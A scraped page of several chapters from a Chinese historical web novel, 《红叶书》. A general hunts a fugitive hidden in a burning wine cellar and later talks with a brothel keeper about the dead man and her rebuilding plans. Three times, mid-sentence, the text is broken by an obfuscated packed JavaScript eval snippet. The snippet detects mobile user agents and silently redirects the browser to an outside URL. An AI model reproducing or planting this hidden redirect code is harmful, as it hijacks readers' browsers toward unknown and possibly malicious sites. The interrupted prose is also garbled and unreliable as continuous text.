可若是误导,起码也会换个假名。梁风仔细观察这林老板,见其模样年轻,年纪可能比他还小点。若是林家人,怕是不会让这样年轻的后辈行商,接触了市籍就不方便再做官了。 梁风指挥兵众再度包围何家酒窖。 他派一支小队进入窖内,其余人成包围之势在屋外合拢,确保刑犯绝对逃不脱。搜捕队伍进入酒窖后,打开一二层门窗,使外面人能观察到屋子内的情形。 夜深了,天色全黑下来,屋内幽深,零星火把将靠窗走动的人影照得分明。 忽而刮来一阵夜风,梁风在风里闻到一股酒香。 屋子内飘出来的酒香,随风扩散,竟十分浓烈。 他猛然意识到不好,高声喊道:“撤退!” 酒窖内的火光眨眼间变大,数名士兵接连抱头冲出,窗棱被撞断,屋内房梁燃烧的声音刺耳响起。 “骑兵围堵后门,别让人跑了!”梁风高喊。 刑犯藏身酒窖,就是为了利用浓烈酒香掩盖浑身的血气。这犯人定提前砸破酒桶,在被围剿时点燃泼洒了整座屋子的酒液,试图以大火引开注意力,在混乱中逃跑。随风飘散的酒香才会如此浓烈。 “四方疏散民众!” 梁风命内圈人疏散百姓,外圈人取水,尽可能镇压火势。 然而水难以扑灭酒液燃烧的火。高温升起来,浓烟包裹屋檐轮廓,火焰从内破出门窗,像一只手掌向上托起整座房子。等酒液烧完,房子里外也全燃了。 梁风放弃救火,仅确保刑犯落网和无人受伤,他不想抓一个已经被包围的人还令无辜百姓受损。 高温紧逼得人群疏散面不断扩大,副将来报,包围圈的另一面未发现可疑之人,刑犯似乎未逃离火场,疑是自尽。 自尽? 梁风不禁皱眉。他不认同,若是想靠自尽来证明自己的清白,不会等到这个时候。刑犯肯定还活着。 搜捕至此刻,整条街的士兵始终有序地控制着人群,并未出现聚众围观的情况。何家酒窖附近人不算多,欲趁乱逃出的刑犯难以混在人群之中,而他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839856|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兵力沿街两面相夹,就这么点大的地方,不可能逃得出去。 这人还藏在了某处地方。 他的目光看向了半栋建筑映着火光的嬉春院。 人群疏散,空出来的嬉春院用来躲藏极为合适。女子容易受惊,且易于挟持,对那刑犯来说,躲在嬉春院最好不过。梁风暗悔应该再多加人手护卫嬉春院。 他调出一队再次检查嬉春院。这时,一阵疾风横扫,高温爆燃,火焰斜刮地扑向一墙之隔的嬉春院。 夜风陡然变了方向,风力增强,火势将要曼延到嬉春院了。 女子们惊呼着陆续在卫兵护卫下逃出来,抱团依偎,她们中没有看见金絮。 梁风心里升起不好的预感,立即翻身下马,冲入火场。他担心金絮神情恍惚,看见大火走不动路,或者被刑犯挟持。 越想越不好,梁风仅用了几个眨眼便穿过前馆。 庭院的绿植水汽稍稍抵挡了高温,他刚踏下砖桥,就见三道人影。两名护卫护着一名女子跑向后门,背影路过了他,中间女子正是金絮。 金絮被两名护卫催促着快速小跑,从庭院右侧的库房跑向寝楼后方出口。跑至寝楼拐角,金絮不知怎的回头看了库房一眼,收眼时视线正好对上梁风。 看见她无事,梁风松了口气。 紧接着库房内又出来数人,为首士兵看见他立即跑来报告:“将军,目标已捕获!” 几名士兵架着刑犯双臂从库房内拖出,那刑犯一眼看去将死未死,浑身是血迹,纠缠凌乱的头发却尽数束起,露出完整的脸庞。 梁风点头,“留活口,撤退。” 士兵拖着刑犯离开,梁风暂时留在原地。 他扭头看了看酒窖的火势,狂风止不住地斜刮,焰尖已经在嬉春院的外墙留下了一大片焦黑痕迹,烧毁了窗子,火焰扑进了墙壁内部。风不停火不熄的话,前馆迟早也会烧起来。 如果烧起来,他或许可以向皇帝求得补偿,补偿被这场搜捕无辜波及的百姓与建筑。 即便皇帝没这么大方,他自己也有理由为嬉春院拨款。毕竟怪他未及早发现刑犯藏于酒窖,未料到刑犯放火求生。嬉春院被大火波及,他有责任。 这么一想,那不如加点火。她不是说缺钱么。 梁风迅速钻入寝楼旁边的厨房,拿了灶台上几个小油罐,倒在前馆内部易燃的织物上,再点把火。看着火烧起来,他才从嬉春院正门离开。 一出去,就有下属来问刑犯如何处置。梁风说打晕带走,下属却说人已经晕过去了。梁风怕人死了,赶紧去看。 看见刑犯的模样,他却有些愣住。那刑犯趴在地上,面目是火光压不住的苍白。他叫来的大夫正在救治,似乎希望不大,大夫脸色并不好看。 梁风忽然想到在礁县山谷的那场雪崩和刺杀,他这样注视着战友一点点逐渐死亡,脸庞比雪还苍白,周围明明不静,却能听见鲜血从体内流逝的声音。 上次是严寒,这次是高温。梁风移开目光,情绪从雪崩中抽离,注意到了站在不远处看着大夫救治张犯的金絮。 他赶紧走过去问:“没受伤吧?” 金絮出神间,被他这一唤回了神。 她上下看着干净,没有被火燎到。梁风放了心,“没伤着就好。” “我没事。”她摇脑袋道。 “这犯人做错了什么?他是不是什么也没做错?”金絮望着那尚在昏迷的犯人,问梁风。 梁风不看那躺地上的人,喉咙里有卡顿,犹豫道:“和你说过了,他写的文章提到《赋法三戒》。”梁风看了看金絮的脸色,再继续说:“言辞触怒了皇帝......” “王爷也是这么觉得?”她打断。 “这不是他犯的罪,这是别人加给他的罪名。王爷不知道吗?”金絮道:“不过是一本已经消失的书,为什么还会给人带来厄运。” “我不明白,凭什么它成了这么晦气的东西。在我全家人死后这么久,它还能造成伤亡。” 金絮在质问他。 她还是多想了。梁风不愿意瞒她,嬉春院已被牵扯到了这件事情中,何况这也不算多。 梁风在背后熊熊燃烧的大火中无言以对。 122. 《红叶书》(四十二) “你为他感到生气吗?”梁风轻声问。 金絮点头,她的目光十分闪动,火光也无法映满。有什么东西在她眼睛里搅成了一个清澈的漩涡,梁风不能全部看懂。 “我不知道该如何看待这样的事情。”她说。 梁风忽然想到从前他追在老李身后问各种各样问题的时候,那时的瞳孔深处一眼就看到底。 “我也不知道。我只能告诉你我的做法。” “王爷的做法是忍耐。”金絮道。 他微愣,金絮言语之下透出一种他此前从未察觉到的犀利,令他一顿。 梁风承认:“我是只在忍耐。” “将军!”下属突然来报:“刑犯死了。” 浴血之人躺在地上停止了呼吸,随行大夫朝梁风摇了摇头。 本就在诏狱受了刑,躲在酒窖中不知吃喝什么,无人照料疗伤,撑到现在没有死在火场里,他至少坚持着给自己留了全尸。梁风命人将犯人收敛好,等待陛下指令。 “忍耐一定对吗?”金絮问。 “我不知道。但是忍耐可以活下去。” 梁风低头,发现她哭了,不知是不是因有人死在自己眼前而触动。 “不要哭了。”梁风手指动了动,侧身挡住她看着已死之人的视线,“之后我会请求陛下补偿在这场搜捕中受损的民众和房屋,官府会给你一笔钱,你把赌约取消吧。” 她一眨眼,眼泪掉下来。金絮抬头,视线移在他双眼。 “王爷总是不爱冒险的。”她自己抹脸,“你不爱冒险,又为何喜欢往火里闯。你刚才是去找我吗?” “是。我没看见你出来,怕你被这刑犯挟持了。” “谢谢王爷。” 梁风想带她先离开,四处看看,“离这里远一些吧,火势一时半会无法熄灭,我为你们找间客栈,暂且先过一夜。” 金絮很听话地跟着他走。 “忍耐之后,会有不再忍耐的那一天吗?” “或许会有。像是这个刑犯,他决定依靠三皇子求学时,已经决定不再忍了。” “可是他死了。”金絮道。 “于是他死了。”梁风道。 离远了,温度降下来,梁风定了间客栈,安置她们,再嘱咐道:“我待会要进宫一趟,向陛下报告这件事。火熄了之后你们先别回嬉春院,等明早安全了再回去。” “好。”她很听话。 梁风便进宫了。 身下马匹掠得飞快,夜间的重重宫殿比白日里还要气氛沉重,他很不喜在晚上的时候进宫。 匆匆进入大殿,大殿内氛围更沉,梁风快速地将搜捕结果上报,脑子里想的是时候已经挺晚的了,待会出去就不打扰母亲了。 皇帝听了,得知犯人已死,眉毛都没动一下,却在看他时露出淡淡的笑意。 “阿风做得很好。” 梁风趁机提出搜捕时因大火受风势影响,几间房屋损毁惨重,陛下或可命大司农调钱为居民重修。 皇帝想了想,颔首道:“可。” 梁风松了口气,能拨钱就好,至于拨多少他就不提要求了,如果太少,他可以偷偷塞点。 请辞,退离大殿,梁风转身就打算回府。 月台下,缓步上来一道人影。 梁风看也不看地掠过,却在经过时听见了一声熟悉的呼唤。 “皇叔,真是好久不见。” 他停住,认了出来,“与丕?” 灯笼够亮的,但夜色太黑了。有段时间没见,乍一碰上没认出来。 太子殿下笑道:“皇叔这场搜捕,做得真好。” 梁风也同样露出假笑,“我做事轮不到你评判夸奖。” 太子殿下微微耸肩,“无视林氏态度,全程亲监搜捕,能做到的也只有皇叔了。” “你看起来似乎很开心?”梁风仔细观察梁与丕的表情。 太子殿下脸上当然道:“三弟不开心,我就开心了。” “有人死了,你何必幸灾乐祸。” “死的人该死。自找的就不叫‘灾’了。”与丕浑不在意。 “我不和你说了。”梁风继续走自己的。 太子殿下在后一声轻笑,“三弟也有求不来的事情。” 这声轻笑像是真的,梁风回头看了眼,看见与丕模糊的背影,与大殿的威严凛然融为一体。 他心里也有点知道,皇帝将这件事情交给他,有几分试探他是否结党营私的意思在里面。他也就懒得在诏狱与林氏之间费心周旋,面上走动一番,直接就开抓了,有什么撕破脸的事情之后再说。 不过前前后后想一想,应该也没有什么把柄和疏漏。希望事情结束后,他能立即脱开关系。 梁风监督下属将来福街的火灾扑灭,以收拾残局为由,暂不回营。 即将天亮时,风势加大,嬉春院前馆损毁更为严重,好在火势未波及后院,重建完成前,金絮她们还能有住的地方。 何家酒窖毁于一旦,灰烬中未发现任何一具尸体,这间酒窖除了储酒,似乎仅是为张犯藏身用的。 梁风查了这间酒窖,背后所属是一名普通的经商男子,没听过的姓名,仿佛与林氏无关。 当天,皇帝的贴身太监夏培拨来两笔钱币,一笔数额大的用来补偿酒窖,另一笔数额略小,给了金絮。梁风简单看了眼,往她的那几只钱箱里塞了一些金玉珠宝。 金絮拿到钱,说想重建嬉春院。 梁风看看嬉春院的姑娘们,道:“那好吧,你随自己意愿做事吧。”便放手不管了。 事情差不多收尾完毕,梁风回到军营,打算好好睡一觉。 太尉看他的眼神不太友善。梁风尚未听说这件事情对太尉造成了什么影响。事情是皇帝吩咐给他的,事情结果他向皇帝报告就行,不用和太尉说什么。但本着太尉名义上也算他的上司,他便向太尉简单汇报一下,打个招呼,转头就睡自己的。他若是以应和王的名义待在这军营里,他做任何事都不需要向任何人汇报。 过了几日,梁风听说嬉春院开始重建了,他排着日子想去看看金絮有什么要帮忙的,先托老李问几句。老李还未过去,朝堂的动静就传了过来。 有文官弹劾应和王私藏旧币巨量,蔑视君威,于旨不合,应和王难为表率,恳请陛下重罚。 没想到被抓的是这件事,梁风迅速写折子自澄,但内容有些无力。 他忘记那段时间他是在干什么了,才导致府里清缴旧币时有疏漏。旧币遗留是事实,他无法狡辩,只能自认疏忽,折子末尾希望求得陛下大恩。 他知道消息还算快,但全面了解事态就用了半天时间。 半天里,重建中的嬉春院连带被查,修建停止,梁风暂时不能与金絮有接触了。 怪他大意了,在知道徐娘因旧币被官府用刑,而且这事还被官府私压下去时就该警惕起来了。梁风暗中关注对嬉春院的调查,徐娘已死,应当查不出什么来才是,最好不要牵扯到金絮。他担心金絮经不起查。 文官无视了他奏折中的解释,死揪住这个错处,不严惩不放过。 陛下暂未表态,百官没有一人为他说话。梁风不知该是开心还是不开心,这至少能说明他确实没有结党 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839857|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营私。 他十分希望能当面和那些文官吵起来,而不是靠写写写: “如文官所言,私藏了又不能用,本王留这些破铜烂铁干什么!” 末尾用力地盖上应和王宝印。他恨不能去早朝。 梁风仔细想想这些文官为什么要针对他,除了试图稀释兵权,断掉皇帝一只臂膀外,似乎没有别的所图了。 他身上外附的一切都是皇帝给的,干干净净,哪怕是那些旧币,最初也都是皇帝给的。 他在奏折里和文官骂骂咧咧,只认这件事是因为疏忽,而不是有意私藏。皇帝终于有了回复。 皇帝当朝为梁风澄清,指出废除旧币旨令下颁时,梁风在军营专注训练新兵,那段时间几乎没有空闲入城回府。 然而让他略微感到惊悚的,是皇帝同时给出了一本册子,册子内写了应和王最近几年里,每一次入城的具体时间以及他的动向,详细到他入城后去了哪里、干了什么,期间又有几次是回了王府。最后表明收缴王府旧币时,梁风确实不在王府内。 巨细无遗,他浑身冷汗冒出来。 他不及去看文官反应,自己先连夜逐字读完了这份行程记录,就怕里面还写了他见金絮的过程。 可是仔细一看,这份记录里面是有不少错处的。 虽然他不记得自己每一年每一月具体做了什么,但他在京城内做事情的路线几乎固定,很少有变动,而皇帝为了让这份记录真实可信,在他过于枯燥重复的行程里,加了许多他根本没去过的地方。比如,京城八景之一的不照塔,他就从未爬过。 以小见大,这份记录真实的部分未必有那么多,更多的是皇帝为了堵住文官的嘴而瞎编的内容。 梁风多少松了口气。再者,这只是行程的简单文字记录,并未写他某天和某人具体说了什么话,即便写进了金絮,也仅仅用“一女”带过,他看了都不知道这“一女”是不是指的就是金絮。 皇帝写这份文书的意思,应该不光是想为他澄清,也是提醒梁风、提醒文官,应和王的一举一动都在皇帝眼皮子底下,不会逾距。 等这口气完全松了,一抬头,又熬一夜。 “这种东西,写出来也太吓人了!” 敬先难得来军营看他,激烈地指着皇帝的那份记录控诉。 与義同行,规规矩矩道:“皇叔。” “那群文官是整日闲得没事干吗?怎么不见他们多反省反省自己呢?”敬先怒道:“明明是他们回收旧币时没收干净!还怪到旁人身上来了!” 敬先在屋子里来来回回地走,发泄怒火。梁风眼珠子瞧着敬先走来走去,越看越头晕,他好困。 “也许是我行事太过张扬了吧。”梁风道:“这次搜捕,我从头到尾没和任何人沟通过。” “张扬?”敬先不满道:“你是爬到他们脸上跳舞去了还是怎的?” 与義坐在旁边道:“不能怪皇叔。那个犯人写的文章,其实也不算个多大的事情。我看父皇的态度,并不是对那篇文章动怒。” 梁风的目光慢慢移到与義脸上。 与義被梁风看得有点不自在,“父皇真正的目的应当是想借这件事敲打三哥一番,三哥平常行事太过无所顾忌了。” “是么。”梁风不评价,他们父子之间的关系他没有投去过多关心,想到了那天夜里与丕幸灾乐祸的神情...... “恐怕我又要出征了。”梁风打个哈欠,往后一靠,“皇帝定不想我与文官直接发生冲突。” 敬先还说了什么,梁风听着听着,不知怎么闭上了眼,身子往侧面缓缓滑下,睡着了。 123. 《红叶书》(四三) 他睡一觉醒来,天色擦黑,窝在客榻上,半边身子麻了。 敬先留了张字条给他,让他尽情和文官对骂,背后永远有敬先的支持。另外还偷偷和他说,与義最近两次出宫偷玩,在赌场里不小心欠了些外债,没敢告诉皇帝,今天是实在没法子了才上王府,想从他这借点钱的,结果话还没说他就睡着了,与義便打算自己筹钱去。 与義隐瞒身份下赌,没想到输个干净。敬先还说,与義在宫里生活不好,书文骑射处处被拿来和皇兄作比较,稍有差错,总会被皇帝责骂为何不如两位皇兄。与義也是愈发不耐,常有借口抱病不学,出宫偷玩。 字条末尾第三件事是质问他什么时候爱上喝花酒了,问他那花酒喝起来是什么味道。 梁风认认真真看完,打个哈欠,伸个懒腰,心情好了点。 他让老李收拾出一箱钱币,给与義送去。这一次他小心清点了,确保没有一枚旧币。 他继续关注朝廷的动静,皇帝这份行程记录出来后,文官寂静了两天。两天过去,转而开始攻击梁风府里的下人,指责梁风管教不当,竟叫下人有看走眼的时候。 第一个被攻击的人是李晟。 梁风立即写折反击,与文官进行猛烈对骂。 说粗口的人主要是他。 弹劾他的人是大司农与御史大夫手下一众属官,下笔措辞斯斯文文,行动起来毫不犹豫。文官们完全不对梁风的粗口动怒,一获得廷尉许可文书便立即派兵缉拿李晟。 老李那个身板哪里经得住被抓,梁风命府兵围府护卫,片刻不敢离开王府,等待这件事的转机。 等了一天,皇帝还没表态,游照同先出言,暗示此事可以罚奉翻篇,双方无错。 正式诏书未拟,来抓李晟的人不确定是否离开。过一个时辰,皇帝紧跟着游照同的意思下了圣旨,明确表示应和王不必为此事担责,反而是大司农该反省自己收缴旧币时为何有错漏而不知。 堵在王府门口的人瞬间撤离,梁风也收了府兵,让李晟在府里休息压惊。 事后大司农似乎自省罪责,提出免职归乡,皇帝挽留了他。 再后面的事情梁风就不清楚了。这件事平息得挺快,他猜测命他出征的圣旨应该不久会下。 即将入冬,按以往经验,出征时间应在明年开春,朝廷收到地方税钱后。不知在这之前,嬉春院能否重建完毕。 又过两天,梁风才派人去嬉春院打探情况。 得知嬉春院里所有人都被廷尉审问过,梁风吓了一跳,好在姑娘们平安无事,唯一有事的是徐娘的儿子徐礼。 徐礼确实并不清楚徐娘生前做了什么事情,作为血亲,诏狱需要他的口供,几道鞭刑是徐礼必经审讯的证据,诏狱在这方面尤其严谨。 徐礼横着送回嬉春院,到现在还躺在床上。梁风知道了,便带着李婶去嬉春院。 嬉春院大门封禁,门外能清晰听见里面修凿挖道的工人声音。 门口的年轻匠人告诉他,因修建时灰尘过大,院里的姑娘都暂时搬进了不远的客栈里。 梁风确认客栈位置,便寻去。在来福街街尾的一家小客栈见到众位姑娘们。 结果姑娘们说,她们都在这,唯独金絮在白日里会亲自去嬉春院监工,客栈见不到她,以及,金絮并没有取消赌注,她选择的人是那个胖子赵关。 正因为有了另一笔巨大的收入,金絮决定重修整座嬉春院,她们才会无法住在寝楼,而是转移到客栈。 梁风让李婶为徐礼看伤,他单独找到之前和他说过最多话的姑娘,叫莲儿的女子,想说几句话。 “梁公子,这里没有酒,只有茶了。”莲儿显得非常乐意陪他。 “我并不十分喜欢喝酒,茶也好。”梁风道,端坐得十分正经,“我是想和你们说一声抱歉,对不起,此前是我没有注意,刚来的时候对你们的观察,很冒犯你们。” 莲儿呆了一呆,茫然道:“您似乎不需要用说这种话的方式来显得自己和别的男人有什么不同。”她摊摊手,“您做自己就好。” “呃......”他这样不是做自己吗?梁风转念便不多纠结,道:“我以前并不很明白青楼到底是个怎么样的地方,以前对青楼的印象大多是道听途说和徐娘强行将轻絮拐进嬉春院里而产生的坏印象......这样的念头,对你们十分不公平。”金絮好像也不太喜欢。 “公子想说什么?”莲儿看着他。 梁风继续道:“我现在也支持轻絮的做法了,实在没有必要劝你们从良。你们若是觉得这样的日子能过得下去,那便这样好了。” 莲儿笑笑,“梁公子想得简单,青楼女子如何过得下去?日复一日地吃药,日复一日地生病,加之内心煎熬,风尘女子很少有能活过三十岁的。” 他好像又妄下断言了,他又忍不住想说,既然这样还是尽早从良吧。梁风默默闭嘴。 莲儿再笑,“公子啊,想做个好人,就少上青楼来吧。” 梁风摇头,“我不是个好人,我杀过很多人。” 莲儿这下真来了兴趣,“哎哟,公子,多少个姑娘为你堕过胎啊?” “堕胎?” “嗯。”莲儿嘻嘻笑着,饶有趣味打量他。 “哦,”梁风反应过来,“哦......” 他起身准备返回嬉春院,“我还是去找轻絮吧。” 莲儿看着他起身,没有动,“公子要去找阿絮姐?阿絮姐最近好像心情不好。”莲儿脸上还有笑,“公子之前抓逃犯,在嬉春院里放的火有点吓到她了。你可要和她说对不起。” “哦哦,是......是。”梁风捏一捏手指边的袖子,离开了客栈。 嬉春院内正在拆土,尚未动到地基,还能进人。庭院后的动工应没那么快,梁风从后门进去。 院子里到处是大树拔起后留下的土坑,为了压灰,土坑四周泼了水,闻起来一股雨后泥土味。 梁风在寝楼一层敞开的门内见到金絮,她正伏案写写画画什么。 “金絮。” 她快速地回头,见是他,神色一松,“王爷怎么来了?” “我来看看你。”梁风走进去,“我听说,你没有把赌约取消?” “没有。”金絮解释道:“官府补偿的钱不够。嬉春院重建后维持营生的花销也不少。” “......钱不够啊。” 梁风知道每年军营开销的主要大头,知道每战前后的军资所需,但不知道修复一座建筑需要多少钱。他一般不操心这些,军营里缺钱了向大司农伸手要就好,要不要得来另说。 “生意也是不好做。”他道:“那我多来照顾你生意吧。” “好啊。”她拿起案上一张纸,给他看,“王爷你看,这是嬉春院的重建图纸。” 纸上是前馆、庭院和寝楼的布局线稿,是她认真描画的未来版图,梁风夸道:“不错哦,看起来比现在要大上不少。” “嗯。”她指着道:“我把两侧围墙拆了,买了附近的民屋,把寝楼扩大,之前睡觉的地方太挤了点。” 他认同道:“挺好的。” “我还想给嬉春院换个名字。”她似乎停顿想了一下,道:“就叫温柔馆。” “温柔馆?”梁风点点头,“好名字。” 她把纸稿一卷,拽住他的袖子,往屋外拉。 “王爷快来,你帮我看看,庭院里的绿植怎么种才不会遮挡光线?”她朝庭院东侧的小亭子一指,“尤其是那座亭子,它被周围一圈的树挡住了,远远都看不到。” 梁风望了眼便说:“这简单,那就换种矮的树。”他没玩过绿植,想想都知道自己一定搞不来这种精细的东西,不能给金絮好建议。 “但我又想,挂上一层卷帘也不错,能被风吹起来,既透风也不遮光。”金絮自己寻思。 “你有主意,按自己意愿便好。” 梁风看着看着,突然想到前几天晚上,就是在那亭子里遇见金絮拒绝与林凯对赌的时候,随即想到金絮虽然拒绝了林凯,但是答应了和赵关进行赌约。梁风便愁道:“还是把赌约取消吧,怪险的,你做这些我不放心。” 她愣了一愣,思绪没跳过来,说道:“一年期限未到,提前结束赌约的话,我需要赔付十倍违金。” “十倍?!”梁风惊了,他并不很懂商人之间的某些协议。 “赵老板押赌的数额是一百两黄金,我可没有一千两黄金可以用来赔付。”金絮道:“王爷,赵老板人挺不错的,妻子去世后独自养育孩子,如今孩子长大了才考虑为自己续弦的事情,赵老板也算个长情的人。” 她抿唇浅浅一勾,“王爷就放心吧。” 他还是不放心,要说青楼里能出现长情的人......好像不太会。他于是想着,要是金絮输了,他就帮着还款,一千两黄金也不算特别大的问题,便不强求金絮了。 金絮还问他,庭院中央那口水池需不需要凿深一点,养些荷花鲤鱼之类的。 梁风一律应好,主要因为不是他养。 金絮看起来没有很不开心的样子,梁风不知道该不该提嬉春院这场火,她是不是真的很害怕。 正想着,梁风看见了曾藏匿刑犯的那间库房,敞着门,门板不知去哪了,里面黑洞洞,看不清楚。 “那间库房你打算怎么处理?”梁风问着,走进库房,在门口朝里环顾一圈。 库房里没有别的,只地上有一大滩残留的血迹,大约是那刑犯留下的,散发着一股晒干的腐臭。 “血迹不容易清洗,恐怕得薄薄铲去一层地皮,再重新铺好,才能彻底去掉这股血气。” 梁风边说边收回探进的脑袋,刚说完,就见金絮根本没有走近。她捏着扭成一卷的纸稿,站在十步远的位置。 “我有点讨厌这间库房。”她道:“但嬉春院又确实需要一处房间存放杂物,我想把它推了重建。” 梁风向她走近,“你很害怕吗?嬉春院这场火是不是吓到你了?” 她摇头,“我害怕的不是这间染血的库房和那个死刑犯,而是这库房看起来很像一张哭丧的脸。”金絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839858|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔空指着房子道:“你看,门是张大的嘴巴,屋檐是皱起的眼睛,那个刑犯就被这张脸吞噬了。你看像不像?” 梁风在看,他能感受到金絮的形容,她的话放到房子上一比,是有些酷似人脸的微妙。他肯定金絮被吓到了。 “这张脸还会说话,拼命地和我说,人命如此轻贱,没有牙齿的嘴巴都能把人吃掉。我和她们说的时候,她们建议我,要不要在库房里放一些桌案、柜子,就可当作是牙齿......”金絮语气有些怨怨的,“她们还问我要不要开个窗户,窗户可以当作鼻子......” 梁风认同,门上面开个窗户确实更像了。但他没有说。 “那换个东西呢?”梁风说:“这房子不一定是个脑袋,也可以是个装着珍宝的盒子,屋檐是盖,大门是锁孔。那刑犯把自己当成了一件宝贝,把自己放进了盒子里,等待一个开锁的人。” 金絮蹙着眉头,认认真真地看着,好像不太认同他的话。 “它很旧了,墙皮脱落,瓦片破碎,不像是能装珍宝的盒子。刑犯死在了里面,要说是盒子,也该是棺材。” 梁风不喜欢这样的说法,可是想到金絮在嬉春院燃着火时忽然看见一个浑身浴血的将死之人,很难不这样想吧。 “这是一座走向棺材的房子。”她道:“我很不喜欢。” “那就推倒重建吧,只要你不喜欢。”梁风便依顺地说。 金絮抬起头,道:“王爷,我和你说个事情。” “嗯,你说。” “那天晚上在库房,我和那犯人说了几句话。” “说话?”梁风瞪眼,“不逃跑还说话?你是想被挟持吗?” “他说他要死了,向我交代后事。”金絮完全没有被他凶到,仍自说:“他说他对三皇子很愧疚,赐学之恩无法报答了。可是我告诉他,三皇子有皇帝护着,何须你愧疚。” 她眼睛里浓重的情绪中,自责压过其他显露出来,“我这样说是不是太难听了?他都要死了,我应该说点好听的。” 梁风设身处地地想一想,人走至末路时当然会期盼看见光明和希望,包括好听的话,他犹疑地应:“嗯......” “可是我有说错吗?他的愧疚,有哪怕一点点的用处吗?”她反问地下定论。 “但是你不知道三皇子是怎么想的,你怎么知道这犯人的愧疚不会对三皇子产生一点点触动呢?” “所以我说错了。”没有间隔,她毫不犹豫地再次下定论。 梁风不知道该说什么,即便是与棣,和自己交友的人死了,肯定也会有一点点心软吧。 金絮看起来有些烦躁和疑惑,手里的纸稿都捏皱了,竖成一条,没意识地敲着腿边。她扭头去前馆,远离这间走向棺材的房子。 “那犯人的观点也不对。”她说:“田租若是按每年收成占比算税的话,会算不到农民在歉年对土地投入的成本,而以土地面积算税,才算得到农民投入了却毫无所获的部分,便于在歉年下调赋税。” 梁风脑筋没她那么转,也不太懂这些,“是么。” “当然不是。”她眼色一厉,“这就是太学里出来的人,那刑犯根本不懂。农民每年要交多少税,并不取决于纸面上是怎么写的,只取决于收税人的心情和良知。” 金絮道:“嬉春院,还有别的青楼,里面很多姑娘都是小时候家里付不起田租而破产,最后被父母抛弃,卖身还债。那些霸占土地的人,没有良知可言。” “这些我都和他说了。那刑犯当时听了,什么也没说,他什么也说不出来,他写的都是一些空话。”一顿,她放软了语气,“但是那刑犯最后躺在那里,直到被抓走都没有爬起来。” 她道:“我有点害怕。我不知道应该怎么办。” “你不要害怕。”梁风立刻说。 “嬉春院重建了,新的名字叫温柔馆。不光是嬉春院,我还给馆里所有姑娘重新起了名字。” 金絮突地抬头看住他道:“我为她们所有人重新起了名字,可我不记得她的名字了。” “谁?” “在那场火灾里,代替我的女孩。” 她的目光忽然变得幽深,梁风在她的眼睛里,回忆起了他对那场火灾印象最深的画面——被燃烧的柜子压着的顾南蕴。 “我连她长什么模样都不记得了。或者是我那时,根本没有好好看过她。” 金絮还说:“我问他,你会不会后悔遇见三皇子,他说不后悔。为什么会不后悔?他不是愧疚吗?为什么不后悔?” 梁风始终看着她的双眼,她的眼睛深处仿佛有漩涡状的引力,他丧气了,“我不知道。” 他隐约能感觉到,需要见识很深刻的人才能回答她这个问题。 “我只知道,你如果不取消赌约,我会很害怕。” 纸稿已经扭成了螺旋的一条,像由无数根细线扎成的粗绳,她紧紧地攥在手里。 她蓦地一闭眼,深吸一口气,缓缓呼出,无奈道: “钱都快花完了,还怎么取消啊,王爷。” 124. 《红叶书》(四四) “如果有一天,我想做坏事,你会支持我吗?” “这个赌约就是很坏的事,你已经在做了,我不支持。” “哦。” 金絮扭头回到屋里,扔了皱巴巴的旧纸稿做柴火,取一张新纸重新画。 梁风往火堆里瞅了一眼,“烧了啊。” “工匠手里面还有一幅。”金絮坐案前开始磨墨,“为什么很多事情,总是在人死了之后才会感到愧疚和后悔?” 梁风认真想了想,答:“因为在他活着时没有对他好。” “那为什么不在她活着时对她好?” “因为......可能......在她活着时,没有发现自己很在乎她?” “所以......”金絮的眼睛看过来,“为什么总是在人死后才感到愧疚和后悔?”她小声嘟囔:“活着时又不珍惜。” 梁风不说话了。 金絮好像也没指望他回答,又自己转头伏案画画。 梁风坐到她对面,四处看看。 金絮画了两下,想起了什么,站起来绕去屏风后面。片刻端来了几碟干果,放到梁风面前,又转头去捧来一套茶杯,倒了一杯茶推给他。 “没什么好招待的。”她再接着画。 梁风选一颗蜜饯吃了,道:“军营里多数时候吃的也是这种晒干的东西,储存得久。” 金絮闻言看了碟子一眼,然后继续画。 梁风取一个杯子,也给她倒了一杯茶,放在她手边。他不着急走,金絮也没有让他离开,那便再坐一会。 这里是寝楼一层正中央的厅堂,上面是姑娘们睡觉的地方,前馆施工的声音没有穿过来。他时不时看看金絮,看看她的画,闻到的气息中墨香渐浓,盖过了屋外的泥土味。 在他喝完一杯茶时,金絮收笔画完。 画得很快。梁风探头一看,见她画的不是温柔馆图稿,而是一座房子,是那间库房。 